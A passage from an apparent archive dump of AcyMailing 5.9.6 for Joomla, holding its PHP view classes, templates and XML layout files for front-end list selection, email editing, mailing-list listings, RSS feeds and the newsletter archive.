 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php include(ACYMAILING_BACK.'views'.DS.'chooselist'.DS.'tmpl'.DS.'listing.php');
com_acymailing/views/frontchooselist/tmpl/customfields.php000060400000006045152453734450020304 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<script language="javascript" type="text/javascript">
	<!--
		var selectedContents = new Array();
		var allElements = <?php echo count($this->rows);?>;
		<?php
			foreach($this->rows as $oneRow){
				if(!empty($oneRow->selected)){
					echo "selectedContents['".$oneRow->namekey."'] = 'content';";
				}
			}
		?>
		function applyContent(contentid,rowClass){
			if(selectedContents[contentid]){
				window.document.getElementById('content'+contentid).className = rowClass;
				delete selectedContents[contentid];
			}else{
				window.document.getElementById('content'+contentid).className = 'selectedrow';
				selectedContents[contentid] = 'content';
			}
		}

		function insertTag(){
			var tag = '';
			for(var i in selectedContents){
				if(selectedContents[i] == 'content'){
					allElements--;
					if(tag != '') tag += ',';
					tag = tag + i;
				}
			}

			window.top.document.getElementById('<?php echo $this->controlName; ?>customfields').value = tag;
			parent.acymailing.setOnclickPopup('link<?php echo $this->controlName; ?>customfields', '<?php echo acymailing_completeLink('chooselist&task=customfields&control='.$this->controlName); ?>&values='+tag, 650, 375);

			acymailing.closeBox(true);
		}
	//-->
	</script>
	<style type="text/css">
		table.acymailing_table tr.selectedrow td{
			background-color:#FDE2BA;
		}
	</style>
	<form action="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'chooselist') ?>" method="post" name="adminForm" id="adminForm">
		<div style="float:right;margin-bottom : 10px">
			<button class="acymailing_button_grey" id="insertButton" onclick="insertTag(); return false;"><?php echo acymailing_translation('ACY_APPLY'); ?></button>
		</div>
		<div style="clear:both"></div>
		<table class="acymailing_table" cellpadding="1">
			<thead>
				<tr>
					<th class="title">
					</th>
					<th class="title">
						<?php echo acymailing_translation('FIELD_COLUMN'); ?>
					</th>
					<th class="title">
						<?php echo acymailing_translation('FIELD_LABEL'); ?>
					</th>
					<th class="title titleid">
						<?php echo acymailing_translation('ACY_ID'); ?>
					</th>
				</tr>
			</thead>
			<tbody>
				<?php
					$k = 0;

					foreach($this->rows as $row){
				?>
					<tr class="<?php echo empty($row->selected) ? "row$k" : 'selectedrow'; ?>" id="content<?php echo $row->namekey; ?>" onclick="applyContent('<?php echo $row->namekey."','row$k'"?>);" style="cursor:pointer;">
						<td class="acytdcheckbox"></td>
						<td>
						<?php echo $row->namekey; ?>
						</td>
						<td>
						<?php echo $this->fieldsClass->trans($row->fieldname); ?>
						</td>
						<td align="center" style="text-align:center" >
							<?php echo $row->fieldid; ?>
						</td>
					</tr>
				<?php
						$k = 1-$k;
					}
				?>
			</tbody>
		</table>
	</form>
</div>
com_acymailing/views/frontchooselist/index.html000060400000000054152453734450016105 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontchooselist/view.html.php000060400000003551152453734450016543 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class frontchooselistViewfrontchooselist extends acymailingView
{
	function display($tpl = null)
	{
		$function = $this->getLayout();
		if(method_exists($this,$function)) $this->$function();

		parent::display($tpl);
	}

	function listing(){

		$listClass = acymailing_get('class.list');
		$rows = $listClass->getFrontendLists();

		$selectedLists = acymailing_getVar('string', 'values', '', '');

		if(strtolower($selectedLists) == 'all'){
			foreach($rows as $id => $oneRow){
				$rows[$id]->selected = true;
			}
		}elseif(!empty($selectedLists)){
			$selectedLists = explode(',',$selectedLists);
			foreach($rows as $id => $oneRow){
				if(in_array($oneRow->listid,$selectedLists)){
					$rows[$id]->selected = true;
				}
			}
		}

		$fieldName = acymailing_getVar('string', 'task');
		$controlName = acymailing_getVar('string', 'control', 'params');
		$popup = acymailing_getVar('string', 'popup', '1');

		$this->rows = $rows;
		$this->selectedLists = $selectedLists;
		$this->fieldName = $fieldName;
		$this->controlName = $controlName;
		$this->popup = $popup;
	}

	function customfields(){

		$fieldsClass = acymailing_get('class.fields');
		$fake = null;
		$rows = $fieldsClass->getFields('module', $fake);

		$selected = acymailing_getVar('string', 'values', '', '');
		$selectedvalues = explode(',', $selected);
		foreach($rows as $id => $oneRow){
			if(in_array($oneRow->namekey,$selectedvalues)){
				$rows[$id]->selected = true;
			}
		}

		$this->fieldsClass = $fieldsClass;
		$this->rows = $rows;
		$controlName = acymailing_getVar('string', 'control', 'params');
		$this->controlName = $controlName;
	}
}
com_acymailing/views/frontemail/index.html000060400000000054152453734450015020 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontemail/view.html.php000060400000000644152453734450015456 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
include(ACYMAILING_BACK.'views'.DS.'email'.DS.'view.html.php');
class FrontemailViewFrontemail extends EmailViewEmail
{
	var $ctrl = 'frontemail';
}
com_acymailing/views/frontemail/tmpl/form.php000060400000003156152453734450015461 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><fieldset id="acy_list_form_menu">
	<div class="toolbar" id="acytoolbar" style="float: right;">
		<table>
			<tr>
				<td id="acybutton_email_template"><a onclick="displayTemplates(); return false;" href="#" ><span class="icon-32-acytemplate" title="<?php echo acymailing_translation('ACY_TEMPLATES'); ?>"></span><?php echo acymailing_translation('ACY_TEMPLATES'); ?></a></td>
				<td id="acybutton_email_tag"><a onclick="try{IeCursorFix();}catch(e){}; displayTags(); return false;" href="#" ><span class="icon-32-acytags" title="<?php echo acymailing_translation('TAGS'); ?>"></span><?php echo acymailing_translation('TAGS'); ?></a></td>
				<td id="acybutton_email_send"><a onclick="acymailing.submitbutton('test'); return false;" href="#" ><span class="icon-32-send" title="<?php echo acymailing_translation('SEND_TEST'); ?>"></span><?php echo acymailing_translation('SEND_TEST'); ?></a></td>
				<td id="acybutton_email_apply"><a onclick="acymailing.submitbutton('apply'); return false;" href="#" ><span class="icon-32-apply" title="<?php echo acymailing_translation('ACY_APPLY'); ?>"></span><?php echo acymailing_translation('ACY_APPLY'); ?></a></td>
			</tr>
		</table>
	</div>
	<div class="acyheader" style="float: left;"><h1><?php echo acymailing_translation('ACY_EDIT'); ?></h1></div>
</fieldset>
<?php
include(ACYMAILING_BACK.'views'.DS.'email'.DS.'tmpl'.DS.'form.php');
com_acymailing/views/frontemail/tmpl/form.xml000060400000000130152453734450015457 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout hidden="true" />
</metadata>
com_acymailing/views/frontemail/tmpl/index.html000060400000000054152453734450015774 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontlist/index.html000060400000000054152453734450014704 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontlist/tmpl/index.html000060400000000054152453734450015660 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontlist/tmpl/listing.php000060400000003716152453734450016055 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><fieldset id="acy_list_listing_menu">
	<div class="toolbar" id="acytoolbar" style="float: right;">
		<table>
			<tr>
				<?php if(acymailing_isAllowed($this->config->get('acl_lists_manage','all'))){ ?>
					<td id="acybutton_subscriber_add">
						<a onclick="acymailing.submitbutton('add'); return false;" href="#" >
							<span class="icon-32-new" title="<?php echo acymailing_translation('ACY_NEW'); ?>"></span><?php echo acymailing_translation('ACY_NEW'); ?>
						</a>
					</td>
					<td id="acybutton_subscriber_edit">
						<a onclick="if(document.adminForm.boxchecked.value==0){alert('<?php echo acymailing_translation('PLEASE_SELECT',true);?>');}else{ acymailing.submitbutton('edit')} return false;" href="#" >
							<span class="icon-32-edit" title="<?php echo acymailing_translation('ACY_EDIT'); ?>"></span><?php echo acymailing_translation('ACY_EDIT'); ?>
						</a>
					</td>
				<?php } ?>
				<?php if(acymailing_isAllowed($this->config->get('acl_lists_delete','all'))){ ?>
					<td id="acybutton_subscriber_delete">
						<a onclick="if(document.adminForm.boxchecked.value==0){alert('<?php echo acymailing_translation('PLEASE_SELECT',true);?>');}else{if(confirm('<?php echo acymailing_translation('ACY_VALIDDELETEITEMS',true); ?>')){acymailing.submitbutton('remove');}} return false;" href="#" >
							<span class="icon-32-delete" title="<?php echo acymailing_translation('ACY_DELETE'); ?>"></span><?php echo acymailing_translation('ACY_DELETE'); ?>
						</a>
					</td>
				<?php } ?>
			</tr>
		</table>
	</div>
	<div class="acyheader" style="float: left;"><h1><?php echo acymailing_translation('LISTS'); ?></h1></div>
</fieldset>

<?php
include(ACYMAILING_BACK.'views'.DS.'list'.DS.'tmpl'.DS.'listing.php');
com_acymailing/views/frontlist/tmpl/listing.xml000060400000000353152453734450016060 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="Front-end list management">
		<message>Access the front-end list management</message>
	</layout>
	<state>
		<name>Front-end list management</name>
	</state>
</metadata>
com_acymailing/views/frontlist/tmpl/form.xml000060400000000130152453734450015343 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout hidden="true" />
</metadata>
com_acymailing/views/frontlist/tmpl/form.php000060400000002562152453734450015345 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><fieldset id="acy_list_form_menu">
	<div class="toolbar" id="acytoolbar" style="float: right;">
		<table>
			<tr>
				<td id="acybutton_subscriber_save"><a onclick="acymailing.submitbutton('save'); return false;" href="#" ><span class="icon-32-save" title="<?php echo acymailing_translation('ACY_SAVE'); ?>"></span><?php echo acymailing_translation('ACY_SAVE'); ?></a></td>
				<td id="acybutton_subscriber_apply"><a onclick="acymailing.submitbutton('apply'); return false;" href="#" ><span class="icon-32-apply" title="<?php echo acymailing_translation('ACY_APPLY'); ?>"></span><?php echo acymailing_translation('ACY_APPLY'); ?></a></td>
				<td id="acybutton_subscriber_cancel"><a onclick="acymailing.submitbutton('cancel'); return false;" href="#" ><span class="icon-32-cancel" title="<?php echo acymailing_translation('ACY_CANCEL'); ?>"></span><?php echo acymailing_translation('ACY_CANCEL'); ?></a></td>
			</tr>
		</table>
	</div>
	<div class="acyheader" style="float: left;"><h1><?php echo acymailing_translation('LIST'); ?></h1></div>
</fieldset>
<?php
include(ACYMAILING_BACK.'views'.DS.'list'.DS.'tmpl'.DS.'form.php');
com_acymailing/views/frontlist/view.html.php000060400000001317152453734450015340 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
include(ACYMAILING_BACK.'views'.DS.'list'.DS.'view.html.php');
class FrontlistViewFrontlist extends ListViewList
{
	var $ctrl = 'frontlist';

	function display($tpl = null){
		global $Itemid;
		$this->Itemid = $Itemid;

		parent::display($tpl);
	}

	function listing(){
		if(empty($_POST) && !acymailing_getVar('int', 'start') && !acymailing_getVar('int', 'limitstart')){
			acymailing_setVar('limitstart',0);
		}

		return parent::listing();
	}
}
com_acymailing/views/frontfile/index.html000060400000000054152453734450014650 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontfile/tmpl/index.html000060400000000054152453734450015624 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/frontfile/tmpl/select.php000060400000000525152453734450015622 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
include(ACYMAILING_BACK.'views'.DS.'file'.DS.'tmpl'.DS.'select.php');
com_acymailing/views/frontfile/view.html.php000060400000000635152453734450015306 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
include(ACYMAILING_BACK.'views'.DS.'file'.DS.'view.html.php');

class FrontfileViewFrontfile extends FileViewFile
{
	var $ctrl='frontfile';
}
com_acymailing/views/lists/tmpl/listing.xml000060400000003656152453734450015203 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="Mailing Lists Archive (All)">
		<message>This menu enables you to display all AcyMailing Mailing Lists on your website in order to see the archive Newsletters</message>
	</layout>
	<state>
		<name>Mailing Lists Archive (All)</name>
		<params addpath="/components/com_acymailing/params">
			<param name="help" type="help" default="newsletter-archive-section" label="Help" description="Click on the help button to get some help" />
			<param name="lists" type="lists" default="All" label="VISIBLE_LISTS" description="The following selected lists will be displayed on your archive section." />
			<param name="listsintrotext" type="textarea" rows="5" cols="35" default="" label="INTRO_TEXT" description="This text will be displayed before the lists inside a div class=acymailing_listsintrotext" />
			<param name="listsfinaltext" type="textarea" rows="5" cols="35" default="" label="POST_TEXT" description="This text will be displayed after the lists inside a div class=acymailing_listsfinaltext" />
		</params>
	</state>
	<fields name="params" addfieldpath="/components/com_acymailing/params">
		<fieldset name="basic">
			<field name="help" type="help" default="newsletter-archive-section" label="Help" description="Click on the help button to get some help" />
			<field name="lists" type="lists" default="All" label="VISIBLE_LISTS" description="The following selected lists will be displayed on your archive section." />
			<field name="listsintrotext" type="textarea" rows="5" cols="35" default="" label="INTRO_TEXT" description="This text will be displayed before the lists inside a div class=acymailing_listsintrotext" filter="SAFEHTML" />
			<field name="listsfinaltext" type="textarea" rows="5" cols="35" default="" label="POST_TEXT" description="This text will be displayed after the listsinside a div class=acymailing_listsfinaltext" filter="SAFEHTML" />
		</fieldset>
	</fields>
</metadata>
com_acymailing/views/lists/tmpl/listing.php000060400000002263152453734450015163 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acylistslisting" >
<h1 class="componentheading"><?php echo acymailing_translation('MAILING_LISTS'); ?></h1>
<?php
	if(!empty($this->listsintrotext)) echo '<div class="acymailing_listsintrotext" >'.$this->listsintrotext.'</div>';
	$k = 0;

	foreach($this->rows as $i => $oneList){
		$row =& $this->rows[$i];
		$frontEndAccess = true;
		$frontEndManagement = false;

		if(!$frontEndManagement AND (!$frontEndAccess OR !$row->published OR !$row->visible)) continue;
?>

	<div class="<?php echo "acymailing_list acymailing_row$k"; ?>">
			<div class="list_name"><a href="<?php echo acymailing_completeLink('archive&listid='.$row->listid.'-'.$row->alias.$this->item)?>"><?php echo $row->name; ?></a></div>
			<div class="list_description"><?php echo $row->description; ?></div>
	</div>
<?php
		$k = 1-$k;
	}

	if(!empty($this->listsfinaltext)) echo '<div class="acymailing_listsfinaltext" >'.$this->listsfinaltext.'</div>';
?>
</div>
com_acymailing/views/lists/tmpl/index.html000060400000000054152453734450014772 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/lists/index.html000060400000000054152453734450014016 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/lists/view.feed.php000060400000005710152453734450014412 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class listsViewlists  extends acymailingView
{
	function display($tpl = null){
		global $Itemid;

		$doc	= JFactory::getDocument();
		$feedEmail = (@acymailing_getCMSConfig('feed_email')) ? acymailing_getCMSConfig('feed_email') : 'author';
		$siteEmail = acymailing_getCMSConfig('mailfrom');
		$menu = acymailing_getMenu();
		$listed = array();

		$myItem = empty($Itemid) ? '' : '&Itemid='.$Itemid;
		$selectedLists = 'all';
		if (is_object( $menu )) {
			$menuparams = new acyParameter( $menu->params );
			$selectedLists = $menuparams->get('lists','all');
		}
		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('listid',$selectedLists);
		foreach($allLists as $oneList){
			if($oneList->published && $oneList->visible && acymailing_isAllowed($oneList->access_sub)){
				$listed[] = $oneList->listid;
			}
		}

		$config = acymailing_config();
		$filters = array();
		$filters[] = 'a.type = \'news\'';
		$filters[] = 'a.published = 1';
		$filters[] = 'a.visible = 1';
		$filters[] = 'c.listid IN ('.implode(',',$listed).')';
		$query = 'SELECT a.*,c.listid';
		$query .= ' FROM '.acymailing_table('listmail').' as c';
		$query .= ' LEFT JOIN '.acymailing_table('mail').' as a on a.mailid = c.mailid ';
		$query .= ' WHERE ('.implode(') AND (',$filters).')';
		$query .= ' GROUP BY a.mailid ORDER BY a.'.$config->get('acyrss_order','senddate').' '.($config->get('acyrss_order','senddate') == 'subject' ? 'ASC' : 'DESC');
		$query .= ' LIMIT '.$config->get('acyrss_element','20');
		$rows = acymailing_loadObjectList($query);
		$doc->title = $config->get('acyrss_name','');
		$doc->description = $config->get('acyrss_description','');

		$receiver = new stdClass();
		$receiver->name = acymailing_translation('VISITOR');
		$receiver->subid = 0;
		$mailClass = acymailing_get('helper.mailer');
		$mailClass->loadedToSend = false;

		foreach ( $rows as $row )
		{
			$oneMail = $mailClass->load($row->mailid);
			$oneMail->sendHTML = true;
			acymailing_trigger('acymailing_replaceusertags', array(&$oneMail, &$receiver, false));
			$title = $this->escape( $oneMail->subject );
			$title = html_entity_decode( $title );
			$oneList = $allLists[$row->listid];
			$link = acymailing_route('index.php?option=com_acymailing&amp;ctrl=archive&amp;task=view&amp;listid='.$oneList->listid.'-'.$oneList->alias.'&amp;mailid='.$row->mailid.'-'.$row->alias);

			$description	= $oneMail->body;
			$author			= $oneMail->userid;
			$item = new JFeedItem();
			$item->title 		= $title;
			$item->link 		= $link;
			$item->description 	= $description;
			$item->date			= acymailing_getDate($oneMail->senddate,'%Y-%m-%d %H:%M:%S');
			$item->category   	= acymailing_translation('NEWSLETTER');

			$doc->addItem( $item );
		}
	}
}

com_acymailing/views/lists/view.html.php000060400000004671152453734450014460 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class listsViewLists extends acymailingView{
	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function listing(){
		global $Itemid;
		$config = acymailing_config();

		$menu = acymailing_getMenu();

		if(empty($menu)) {
			acymailing_enqueueMessage(acymailing_translation('ACY_NOTALLOWED'));
			acymailing_redirect('index.php');
		}

		$selectedLists = 'all';

		if(is_object($menu)){
			$menuparams = new acyParameter($menu->params);

			$this->listsintrotext = $menuparams->get('listsintrotext');
			$this->listsfinaltext = $menuparams->get('listsfinaltext');
			$selectedLists = $menuparams->get('lists', 'all');

			$document = JFactory::getDocument();
			if($menuparams->get('menu-meta_description')) $document->setDescription($menuparams->get('menu-meta_description'));
			if($menuparams->get('menu-meta_keywords')) acymailing_addMetadata('keywords', $menuparams->get('menu-meta_keywords'));
			if($menuparams->get('robots')) acymailing_addMetadata('robots', $menuparams->get('robots'));
			if($menuparams->get('page_title')) acymailing_setPageTitle($menuparams->get('page_title'));
		}

		if(empty($menuparams)){
			acymailing_addBreadcrumb(acymailing_translation('MAILING_LISTS'));
		}

		$document = JFactory::getDocument();
		$link = '&format=feed&limitstart=';
		if($config->get('acyrss_format') == 'rss' || $config->get('acyrss_format') == 'both'){
			$attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0');
			$document->addHeadLink(acymailing_route($link.'&type=rss'), 'alternate', 'rel', $attribs);
		}
		if($config->get('acyrss_format') == 'atom' || $config->get('acyrss_format') == 'both'){
			$attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0');
			$document->addHeadLink(acymailing_route($link.'&type=atom'), 'alternate', 'rel', $attribs);
		}

		$listsClass = acymailing_get('class.list');
		$allLists = $listsClass->getLists('', $selectedLists);

		if(acymailing_level(1)){
			$allLists = $listsClass->onlyCurrentLanguage($allLists);
		}

		$myItem = empty($Itemid) ? '' : '&Itemid='.$Itemid;
		$this->rows = $allLists;
		$this->item = $myItem;
	}
}
com_acymailing/views/archive/view.pdf.php000060400000004406152453734450014544 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class archiveViewArchive extends acymailingView
{
	function display($tpl = null)
	{
		$function = $this->getLayout();
		if(method_exists($this,$function)) $this->$function();

	}

	function view(){

			$mailid = acymailing_getCID('mailid');

		if(empty($mailid)){
			$query = 'SELECT m.`mailid` FROM `#__acymailing_list` as l LEFT JOIN `#__acymailing_listmail` as lm ON l.listid=lm.listid LEFT JOIN `#__acymailing_mail` as m on lm.mailid = m.mailid';
			$query .= ' WHERE l.`visible` = 1 AND l.`published` = 1 AND m.`visible`= 1 AND m.`published` = 1';
			if(!empty($listid)) $query .= ' AND l.`listid` = '.(int) $listid;
			$query .= ' ORDER BY m.`mailid` DESC LIMIT 1';
			$mailid = acymailing_loadResult($query);

			if(empty($mailid)) return acymailing_raiseError(E_ERROR,  404, 'Newsletter not found');
		}

		$access_sub = true;

			$mailClass = acymailing_get('helper.mailer');
			$mailClass->loadedToSend = false;
			$oneMail = $mailClass->load($mailid);

			if(empty($oneMail->mailid)){
				return acymailing_raiseError(E_ERROR,  404, 'Newsletter not found : '.$mailid );
			}

			if(!$access_sub OR !$oneMail->published OR !$oneMail->visible){
				$key = acymailing_getVar('string', 'key');
				if(empty($key) OR $key !== $oneMail->key){
					acymailing_enqueueMessage('You can not have access to this e-mail','error');
					acymailing_redirect(acymailing_completeLink('lists',false,true));
					return false;
				}
			}

		$currentEmail = acymailing_currentUserEmail();
		if(!empty($currentEmail)){
			$userClass = acymailing_get('class.subscriber');
			$receiver = $userClass->get($currentEmail);
		}else{
			$receiver = new stdClass();
			$receiver->name = acymailing_translation('VISITOR');
		}

		$oneMail->sendHTML = true;
		acymailing_trigger('acymailing_replaceusertags', array(&$oneMail, &$receiver, false));

		acymailing_setPageTitle($oneMail->subject );

		if(!empty($oneMail->text)) echo nl2br($mailClass->textVersion($oneMail->text,false));
			else echo nl2br($mailClass->textVersion($oneMail->body,true));

	}
}
com_acymailing/views/archive/tmpl/forward.xml000060400000000130152453734450015441 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout hidden="true" />
</metadata>
com_acymailing/views/archive/tmpl/listing_newsletters.php000060400000005154152453734450020107 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php if($this->values->filter){ ?>
	<input placeholder="<?php echo acymailing_translation('ACY_SEARCH'); ?>" type="text" name="search" id="acymailingsearch" value="<?php echo $this->escape($this->pageInfo->search); ?>" class="inputbox"/>
	<button class="btn button buttongo" onclick="this.form.submit();"><?php echo acymailing_translation('JOOMEXT_GO'); ?></button>
	<button class="btn button buttonreset" onclick="document.getElementById('acymailingsearch').value='';this.form.submit();"><?php echo acymailing_translation('JOOMEXT_RESET'); ?></button>
<?php }
echo $this->ordering;
$k = 1;
for($i = 0, $a = count($this->rows); $i < $a; $i++){
	$row =& $this->rows[$i];
	$row->subject = acyEmoji::Decode($row->subject);
	echo '<div class="archiveRow archiveRow'.$k.$this->values->suffix.'">';

	if(!empty($row->thumb)) echo '<img class="archiveItemPict" src="'.$row->thumb.'"/>';
	echo '<span class="acyarchivetitle">';
	$link = acymailing_completeLink('archive&task=view&listid='.$row->listid.'&mailid='.$row->mailid.'-'.strip_tags($row->alias).$this->item, (bool)$this->config->get('open_popup', 1));
	if($this->config->get('open_popup', 1) == 1){
		echo acymailing_popup($link, acymailing_dispSearch($row->subject, $this->pageInfo->search), '', intval($this->config->get('popup_width', 750)), intval($this->config->get('popup_height', 550)));
	}else{
		echo '<a href="'.$link.'">'.acymailing_dispSearch($row->subject, $this->pageInfo->search).'</a>';
	}
	echo '</span>';
	if($this->values->show_senddate && !empty($row->senddate)){
		echo '<span class="sentondate">'.acymailing_translation_sprintf('ACY_SENT_ON', acymailing_getDate($row->senddate, acymailing_translation('DATE_FORMAT_LC3'))).'</span>';
	}
	if($this->values->show_receiveemail){ ?>
		<span class="receiveviaemail">
				<input onclick="changeReceiveEmail(this.checked)" type="checkbox" name="receivemail[]" value="<?php echo $row->mailid; ?>" id="receive_<?php echo $row->mailid; ?>"/> <label for="receive_<?php echo $row->mailid; ?>"><?php echo acymailing_translation('RECEIVE_VIA_EMAIL'); ?></label>
			</span>
		<?php
		if(!empty($row->summary)) echo '<br/>';
	}
	if(!empty($row->summary)) echo '<span class="archiveItemDesc">'.nl2br($row->summary).'</span>';
	echo '</div>';
	$k = 3 - $k;
}
?>
<div class="archivePagination">
	<?php echo $this->pagination->getListFooter();
	echo $this->pagination->getResultsCounter(); ?>
</div>
com_acymailing/views/archive/tmpl/view.php000060400000012261152453734450014746 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acyarchiveview">
	<div>
		<?php
		if($this->config->get('frontend_subject',1)){
			echo '<h1 class="contentheading'.$this->values->suffix.'">'.$this->mail->subject;
				if($this->frontEndManagement && ($this->config->get('frontend_modif',1) || ($this->mail->userid == acymailing_currentUserId())) && ($this->config->get('frontend_modif_sent',1) || empty($this->mail->senddate))){
					$editLink = acymailing_completeLink('frontnewsletter&task=edit&mailid='.$this->mail->mailid);
					echo '<a '.(acymailing_getVar('cmd', 'tmpl') == 'component' ? 'target="_blank" ' : '').' href="'.$editLink.'"><img src="'.ACYMAILING_IMAGES.'icons/icon-16-edit.png" alt="'.acymailing_translation('ACY_EDIT',true).'"/></a>';
				}
			echo '</h1>';
		}
		if($this->config->get('frontend_print',0) || $this->config->get('frontend_pdf',0)) {
			$link = 'archive&task=view&mailid='.$this->mail->mailid.'-'.$this->mail->alias;
			$listid = acymailing_getVar('cmd', 'listid');
			if(!empty($listid)) $link .= '&listid='.$listid;
			$key = acymailing_getVar('cmd', 'key');
			if(!empty($key)) $link .= '&key='.$key; ?>
		<div align="right" style="float:right;">
			<table>
			<tr>
		<?php if(!ACYMAILING_J16 && $this->config->get('frontend_pdf',0)){?>
			<td class="buttonheading">
		<?php
			$pdfimage = '<img src="'.ACYMAILING_IMAGES.'icons/icon-32-acypdf.jpg" alt="'.acymailing_translation('PDF').'" />';
			$pdflink = acymailing_completeLink($link,true);
			$pdflink .= strpos($pdflink,'?') ? '&format=pdf' : '?format=pdf';
		?>
			<a href="<?php echo $pdflink; ?>" title="<?php echo acymailing_translation( 'PDF' ); ?>" onclick="window.open(this.href,'win2','status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no'); return false;" rel="nofollow"><?php echo $pdfimage; ?></a>
			</td>
		<?php }
			if($this->config->get('frontend_print',0)){?>
			<td class="buttonheading">
			<?php $printimage = '<img src="'.ACYMAILING_IMAGES.'icons/icon-32-acyprint.png" alt="'.acymailing_translation( 'ACY_PRINT',true ).'" />'; ?>
